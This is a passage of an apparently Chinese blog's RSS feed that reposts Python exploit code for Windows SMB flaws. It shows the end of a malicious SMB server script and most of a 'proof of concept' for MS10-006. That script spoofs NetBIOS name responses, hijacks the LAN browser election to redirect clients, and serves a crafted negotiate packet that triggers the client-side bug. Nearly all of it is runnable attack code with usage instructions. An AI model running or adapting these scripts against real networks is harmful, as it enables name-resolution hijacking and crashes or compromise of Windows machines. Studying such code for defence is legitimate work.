NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[8] == &quot;\x73&quot;:&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.request.send(packetsession)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;Session Response sent\n&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Session Setup AndX Response<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data = self.request.recv(1024)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[8] == &quot;\x73&quot;:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.request.send(packetsession2)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;Session 2 Response sent\n&quot;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ##Tree Connect AndX Response<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[8] == &quot;\x75&quot;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.request.send(packetree)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;TREE Response sent\n&quot;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ##NT Create AndX Response, FID: 0x4000<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[8] == &quot;\xa2&quot;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.request.send(packetntcreate)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;NT create Response sent\n&quot;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ####Trans2 Response, QUERY_FS_INFO<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[8] == &quot;\x32&quot;:&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.request.send(packetrans)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;Trans2 Response sent box pwned\n&quot;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except Exception:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;oups&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.request.close()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;Disconnected from&quot;, self.client_address</p><p>SocketServer.TCPServer.allow_reuse_address = 1<br />launch = SocketServer.TCPServer(('', 445),SMB1)<br />launch.serve_forever()</p>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=295</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=295&amp;key=f297eee7</trackback:ping></item><item><title>Proof of Concept for MS10-006 SMB Client-Side Bug</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Sat, 17 Apr 2010 10:13:03 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<blockquote><p># More Info: http://g-laurent.blogspot.com/2010/04/turning-smb-client-bug-to-server-side.html<br />import sys,SocketServer,socket,threading,time,random<br />from random import *<br />from time import sleep<br />from socket import *<br /><br />if len(sys.argv)&lt;=2:<br />sys.exit('Usage: pwn.py Your_ip Broadcast_ip\n\r Example: pwn.py 10.0.0.1 10.0.0.255')<br /><br />ip = str(sys.argv[1])<br />nbns = str(sys.argv[2]),137<br />browser = str(sys.argv[2]),138<br /><br /><br />elec = &quot;\x42\x4f\x00&quot;<br />domainmasterbro = &quot;\x42\x4c\x00&quot;<br /><br />##BROWSER election request<br />browserelect = [chr(int(a, 16)) for a in &quot;&quot;&quot;<br />11 02 bd 82 c0 a8 00 96 00 8a 00 ae 00 00 20 46<br />47 45 4e 45 43 45 50 46 49 43 41 43 41 43 41 43<br />41 43 41 43 41 43 41 43 41 43 41 43 41 41 41 00<br />20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46<br />46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42<br />4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00<br />00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br />00 00 11 00 00 14 00 00 00 00 00 00 00 00 00 e8<br />03 00 00 00 00 00 00 00 00 14 00 56 00 03 00 01<br />00 01 00 02 00 25 00 5c 4d 41 49 4c 53 4c 4f 54<br />5c 42 52 4f 57 53 45 00 08 09 a8 0f 01 20 1b e9<br />a5 00 00 00 00 00 56 4d 42 4f 58 00&quot;&quot;&quot;.split()]<br /><br />##Local Master Announcement<br />browsermaster = [chr(int(a, 16)) for a in &quot;&quot;&quot;<br />11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45<br />4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43<br />41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00<br />20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46<br />46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42<br />4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00<br />00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br />00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8<br />03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01<br />00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54<br />5c 42 52 4f 57 53 45 00 0f 00 80 fc 0a 00 4d 41<br />53 54 45 52 00 00 00 00 00 00 00 00 00 00 00 06<br />2b 10 84 00 00 0f 01 55 aa 00&quot;&quot;&quot;.split()]<br /><br />resetcache = [chr(int(a, 16)) for a in &quot;&quot;&quot;<br />11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45<br />4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43<br />41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00<br />20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46<br />43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41<br />42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00<br />00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br />00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00<br />00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01<br />00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54<br />5c 42 52 4f 57 53 45 00 0e 02&quot;&quot;&quot;.split()]<br /><br />resetlbm = [chr(int(a, 16)) for a in &quot;&quot;&quot;<br />11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45<br />4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43<br />41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00<br />20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46<br />43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41<br />42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00<br />00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br />00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00<br />00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01<br />00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54<br />5c 42 52 4f 57 53 45 00 0e 01&quot;&quot;&quot;.split()]<br /><br />##Browser Master annoncement<br />masterannon = [chr(int(a, 16)) for a in &quot;&quot;&quot;<br />11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45<br />4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43<br />41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00<br />20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46<br />46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42<br />4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00<br />00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br />00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8<br />03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01<br />00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54<br />5c 42 52 4f 57 53 45 00 0d 4d 41 53 54 45 52 00&quot;&quot;&quot;.split()]<br /><br />regmsbrowse = [chr(int(a, 16)) for a in &quot;&quot;&quot;<br />be 6e 29 10 00 01 00 00 00 00 00 01 20 41 42 41<br />43 46 50 46 50 45 4e 46 44 45 43 46 43 45 50 46<br />48 46 44 45 46 46 50 46 50 41 43 41 42 00 00 20<br />00 01 c0 0c 00 20 00 01 00 04 93 e0 00 06 80 00<br />c0 a8 00 96&quot;&quot;&quot;.split()]<br /><br />##NBNS Spoofing<br />spoof = [chr(int(a, 16)) for a in &quot;&quot;&quot;<br />08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45<br />50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43<br />41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20<br />00 01 00 04 93 e0 00 06 00 00&quot;&quot;&quot;.split()]<br /><br />def nametid(data,packet,service):<br />&nbsp;&nbsp;&nbsp; pack = packet[:]<br />&nbsp;&nbsp;&nbsp; pack[2:4]=data[2:4] ##Transaction ID<br />&nbsp;&nbsp;&nbsp; pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres<br />&nbsp;&nbsp;&nbsp; pack[48:82]=data[48:79]+service ##Service/domain name<br />&nbsp;&nbsp;&nbsp; return pack<br /><br />def nametidrand(data,packet,service):<br />&nbsp;&nbsp;&nbsp; pack = packet[:]<br />&nbsp;&nbsp;&nbsp; pack[2:4]= &quot;\x80&quot;+str(chr(choice(range(256)))) ##Transaction ID<br />&nbsp;&nbsp;&nbsp; pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres<br />&nbsp;&nbsp;&nbsp; pack[48:82]=data[48:79]+service ##Service/domain name<br />&nbsp;&nbsp;&nbsp; return pack<br /><br />def addipbrow(packet):<br />&nbsp;&nbsp;&nbsp; pack = packet[:]<br />&nbsp;&nbsp;&nbsp; pack[4:8] = inet_aton(str(sys.argv[1]))<br />&nbsp;&nbsp;&nbsp; return pack<br /><br />def addipnb(packet):<br />&nbsp;&nbsp;&nbsp; pack = packet[:]<br />&nbsp;&nbsp;&nbsp; pack[len(packet)-4:] = inet_aton(str(sys.argv[1]))<br />&nbsp;&nbsp;&nbsp; return pack<br /><br />def sockbroad(packet,host):<br />&nbsp;&nbsp; s = socket(AF_INET,SOCK_DGRAM)<br />&nbsp;&nbsp; s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)<br />&nbsp;&nbsp; s.sendto(packet,host)<br /><br />class BROWSER(SocketServer.BaseRequestHandler):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp; def server_bind(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.socket.bind(self.server_address)<br /><br />&nbsp;&nbsp;&nbsp; def handle(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ip = inet_aton(str(sys.argv[1]))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; request, socket = self.request<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data = request<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;From:&quot;, self.client_address<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[168] == &quot;\x01&quot; or data[168] == &quot;\x0f&quot; or data[168] == &quot;\x08&quot; and self.client_address[0] != sys.argv[1]:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sockbroad(''.join(addipbrow(resetcache)),browser)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;[+]LMB cache Successfully Reseted&quot;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sockbroad(''.join(addipbrow(resetlbm)),browser)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;[+]LMB Successfully killed&quot;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for x in range(4):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sockbroad(''.join(nametid(data,browserelect, elec)),browser)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sleep(0.8)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;[+] Election Won !\n&quot;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for x in range(4):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sleep(0.5)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sockbroad(''.join(addipnb(regmsbrowse)),nbns)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;[+]Now Register __MSBROWSE__ :] &quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sockbroad(''.join(nametidrand(data,browsermaster, elec)),browser)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sleep(1)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sockbroad(''.join(nametidrand(data,masterannon, domainmasterbro)),browser)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;[+] Now LBM ! \n&quot;<br /><br />#NBNS SPOOF;<br /><br />def namenbnstid(data,packet):<br />&nbsp;&nbsp;&nbsp; pack = packet[:]<br />&nbsp;&nbsp;&nbsp; pack[0:2]=data[0:2]##Transaction ID<br />&nbsp;&nbsp;&nbsp; pack[12:48]=data[12:48]##Netbios name<br />&nbsp;&nbsp;&nbsp; return pack<br /><br />class NBNS(SocketServer.BaseRequestHandler):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp; def server_bind(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.socket.bind(self.server_address)<br /><br />&nbsp;&nbsp;&nbsp; def handle(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; request, socket = self.request<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data = request<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;From:&quot;, self.client_address<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Hijack<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[2:4] == &quot;\x01\x10&quot;:&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer0 = ''.join(namenbnstid(data,spoof))+inet_aton(str(sys.argv[1]))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; socket.sendto(buffer0, self.client_address)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;Fake NBNS Response sended\n&quot;<br /><br />packetnego = (<br />##SMB Header<br />&quot;\x00\x00\x00\x7f&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Netbios length<br />&quot;\xff\x53\x4d\x42&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Server type<br />&quot;\x72&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Operation/Command<br />&quot;\x00\x00\x00\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Statut command OK Success<br />&quot;\x98&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Flag 0x98<br />&quot;\x53\xc8&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Flag 0xc853<br />&quot;\x00\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #PID High<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00&quot;&nbsp;&nbsp; #Signature<br />&quot;\x00\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Reserved<br />&quot;\x00\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Tree ID<br />&quot;\xff\xfe&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Process ID<br />&quot;\x00\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #User ID<br />&quot;\x00\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Multiplex ID<br />##SMB Header end<br /><br />##Negotiate Protocol<br />&quot;\x11&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Word count<br />&quot;\x05\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Choosen dialect, no-5 from client list<br />&quot;\x03&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Security mode<br />&quot;\x41\x41&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Max MPX count<br />&quot;\x41\x41&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Max VCs<br />##Issue<br />&quot;\x03\x00\x00\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Max buffer size; The issue is located here, as we specify an only 4 bytes max buffer length is this example.<br />#Usually a server would provide a 4356 max buffer size.<br />&quot;\x41\x41\x41\x41&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Max raw buffer<br />&quot;\x00\x00\x00\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Session key<br />&quot;\xfc\xe3\x01\x80&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Capabilities<br />&quot;\xea\xb1\x6e\x18\x11\x62\xca\x01&quot;&nbsp;&nbsp; #System Time<br />&quot;\x2c\x01&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Server timezone<br />&quot;\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Key length<br />&quot;\x3a\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #Byte count<br />#Server GUID<br />&quot;\x68\x52\x38\x38\xf2\xe3\x9f\x4f\x94\x26\xbd\xcb\xca\x2e\x28\x9a&quot;&nbsp; <br />#Security Blob<br />&quot;\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a&quot;<br />&quot;\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a&quot;<br />&quot;\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a&quot;<br />##Negotiate Protocol end<br />)<br /><br />class MS10_006(SocketServer.BaseRequestHandler):<br /><br />&nbsp;&nbsp;&nbsp; def server_bind(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.socket.bind(self.server_address)<br /><br />&nbsp;&nbsp;&nbsp; def handle(self): <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;From:&quot;, self.client_address<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data = self.request.recv(256)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[0] == &quot;\x81&quot;:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer0 = &quot;\x82\x00\x00\x00&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.request.send(buffer0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;Session Positive Response sended\n&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data = self.request.recv(1024)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[8] == &quot;\x72&quot;:&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.request.send(packetnego)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;Negotiate Response sended kaboom !\n&quot;<br 